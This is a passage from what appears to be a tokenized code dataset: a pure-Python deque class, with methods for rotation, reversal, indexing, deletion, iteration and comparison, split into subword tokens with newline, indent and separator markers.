":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ne", "ed", " ", "to", " ", "be", " ", "defe", "nsi", "ve", " ", "for", " ", "mutat", "ing", " ", "comparisons", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "self_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "[_", "i_", "]_", "==_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "Value", "Error_", "(_", "\"", "deq", "ue", ".", "remove", "(", "x", "):", " ", "x", " ", "not", " ", "in", " ", "deq", "ue", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rotate_", "(_", "self_", ",_", "n_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "length_", "=_", "len_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "length_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "half", "len_", "=_", "(_", "length_", "+_", "1_", ")_", ">>_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", ">_", "half", "len_", "or_", "n_", "<_", "-_", "half", "len_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "%=_", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", ">_", "half", "len_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "-=_", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "n_", "<_", "-_", "half", "len_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "+=_", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "n_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "append", "left_", "(_", "self_", "._", "pop_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "n_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "append_", "(_", "self_", "._", "popleft_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reverse_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "reverse", " ", "*", "IN", " ", "PLACE", "*\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "block_", "=_", "self_", "._", "left_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "block_", "=_", "self_", "._", "right_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "index_", "=_", "self_", "._", "left", "ndx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "index_", "=_", "self_", "._", "right", "ndx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "length_", "//_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Validate", " ", "tha", "t", " ", "pointers", " ", "have", "n", "'", "t", " ", "met", " ", "in", " ", "the", " ", "middle_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "left", "block_", "!=_", "right", "block_", "or_", "left", "index_", "<_", "right", "index_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Swa", "p_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "right", "block_", "[_", "right", "index_", "]_", ",_", "left", "block_", "[_", "left", "index_", "]_", ")_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "left", "block_", "[_", "left", "index_", "]_", ",_", "right", "block_", "[_", "right", "index_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Advance", " ", "left", " ", "block", "/", "index", " ", "pair_", "\\u\\u\\uNL\\u\\u\\u_", "left", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "left", "index_", "==_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "left", "block_", "=_", "left", "block_", "[_", "RG", "TL", "NK", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "left", "block_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Step", " ", "back", "ward", "s", " ", "with", " ", "the", " ", "right", " ", "block", "/", "index", " ", "pair_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "right", "index_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "right", "index_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "right", "block_", "=_", "right", "block_", "[_", "LF", "TL", "NK", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "right", "block_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "index_", "=_", "n_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "thread", "local", "attr_", "=_", "'\\u", "\\u", "repr", "'_", "+_", "str_", "(_", "\\u", "thread", "\\u", "ident_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "thread", "local", "attr_", "in_", "self_", "._", "\\u\\u", "dict\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "deq", "ue", "([", "...]", ")'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "dict\\u\\u_", "[_", "thread", "local", "attr_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "maxlen_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "'", "deq", "ue", "(%", "r", ",", " ", "maxl", "en", "=", "%", "s", ")'_", "%_", "(_", "list_", "(_", "self_", ")_", ",_", "self_", "._", "maxlen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "'", "deq", "ue", "(%", "r", ")'_", "%_", "(_", "list_", "(_", "self_", ")_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "\\u\\u", "dict\\u\\u_", "[_", "thread", "local", "attr_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "deq", "ue", "\\u", "iterator_", "(_", "self_", ",_", "self_", "._", "\\u", "iter", "\\u", "impl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "iter", "\\u", "impl_", "(_", "self_", ",_", "original", "\\u", "state_", ",_", "give", "up_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "state_", "!=_", "original", "\\u", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "give", "up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "block_", "=_", "self_", "._", "left_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "block_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", ",_", "r_", "=_", "0_", ",_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "block_", "is_", "self_", "._", "left_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", "=_", "self_", "._", "left", "ndx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "block_", "is_", "self_", "._", "right_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "self_", "._", "right", "ndx_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "elem_", "in_", "block_", "[_", "l_", ":_", "r_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "elem_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "state_", "!=_", "original", "\\u", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "give", "up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "block_", "=_", "block_", "[_", "RG", "TL", "NK", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "reverse", "d\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "deq", "ue", "\\u", "iterator_", "(_", "self_", ",_", "self_", "._", "\\u", "reverse", "d\\u", "impl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "reverse", "d\\u", "impl_", "(_", "self_", ",_", "original", "\\u", "state_", ",_", "give", "up_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "state_", "!=_", "original", "\\u", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "give", "up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "block_", "=_", "self_", "._", "right_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "block_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", ",_", "r_", "=_", "0_", ",_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "block_", "is_", "self_", "._", "left_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", "=_", "self_", "._", "left", "ndx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "block_", "is_", "self_", "._", "right_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "self_", "._", "right", "ndx_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "elem_", "in_", "reversed_", "(_", "block_", "[_", "l_", ":_", "r_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "elem_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "state_", "!=_", "original", "\\u", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "give", "up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "block_", "=_", "block_", "[_", "LF", "TL", "NK", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "len\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "sum", " ", "=", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "block", " ", "=", " ", "self", ".", "left_", "\\u\\u\\uNL\\u\\u\\u_", "#", "whi", "le", " ", "block", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "sum", " ", "+=", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "block", " ", "=", " ", "block", "[", "RG", "TL", "NK", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "return", " ", "sum", " ", "+", " ", "self", ".", "right", "nd", "x", " ", "-", " ", "self", ".", "left", "nd", "x", " ", "+", " ", "1", " ", "-", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getre", "f_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "index_", ">=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "block_", "=_", "self_", "._", "left_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "block_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", ",_", "r_", "=_", "0_", ",_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "block_", "is_", "self_", "._", "left_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "l_", "=_", "self_", "._", "left", "ndx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "block_", "is_", "self_", "._", "right_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "r_", "=_", "self_", "._", "right", "ndx_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "span_", "=_", "r_", "-_", "l_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", "<_", "span_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "block_", ",_", "l_", "+_", "index_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "index_", "-=_", "span_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block_", "=_", "block_", "[_", "RG", "TL", "NK", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "block_", "=_", "self_", "._", "right_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "block_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", ",_", "r_", "=_", "0_", ",_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "block_", "is_", "self_", "._", "left_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "l_", "=_", "self_", "._", "left", "ndx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "block_", "is_", "self_", "._", "right_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "r_", "=_", "self_", "._", "right", "ndx_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "negati", "ve", "\\u", "span_", "=_", "l_", "-_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", ">=_", "negati", "ve", "\\u", "span_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "block_", ",_", "r_", "+_", "index_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "index_", "-=_", "negati", "ve", "\\u", "span_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block_", "=_", "block_", "[_", "LF", "TL", "NK", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "Index", "Error_", "(_", "\"", "deq", "ue", " ", "index", " ", "out", " ", "of", " ", "range", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getitem\\u\\u_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "block_", ",_", "index_", "=_", "self_", "._", "\\u\\u", "getre", "f_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "block_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "setitem\\u\\u_", "(_", "self_", ",_", "index_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "block_", ",_", "index_", "=_", "self_", "._", "\\u\\u", "getre", "f_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block_", "[_", "index_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "delitem\\u\\u_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "length_", "=_", "len_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", ">=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "index_", ">=_", "length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Index", "Error_", "(_", "\"", "deq", "ue", " ", "index", " ", "out", " ", "of", " ", "range", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "rotate_", "(_", "-_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rotate_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "index", " ", "=", " ", "~", "index", " ", " ", "#", "todo", " ", "unti", "l", " ", "bit", " ", "wis", "e", " ", "opera", "tors", " ", "are", " ", "in", " ", "byt", "hon", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index_", "=_", "index_", "^_", "(_", "2_", "**_", "31_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", ">=_", "length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Index", "Error_", "(_", "\"", "deq", "ue", " ", "index", " ", "out", " ", "of", " ", "range", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "rotate_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rotate_", "(_", "-_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "reduce", "\\u", "ex", "\\u\\u_", "(_", "self_", ",_", "proto_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "type_", "(_", "self_", ")_", ",_", "(_", "list_", "(_", "self_", ")_", ",_", "self_", "._", "maxlen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "hash\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "raise", " ", "Type", "Error", ",", " ", "\"", "deq", "ue", " ", "object", "s", " ", "are", " ", "unh", "ash", "able", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "deq", "ue", " ", "object", "s", " ", "are", " ", "unh", "ash", "able", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "copy", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u\\u", "class\\u\\u_", "(_", "self_", ",_", "self_", "._", "maxlen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "eq\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "other_", ",_", "deque_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "self_", ")_", "==_", "list_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Not", "Implemented_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "ne\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "other_", ",_", "deque_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "self_", ")_", "!=_", "list_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Not", "Implemented_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "lt\\u\\u_", "(_", "self_", ",_", 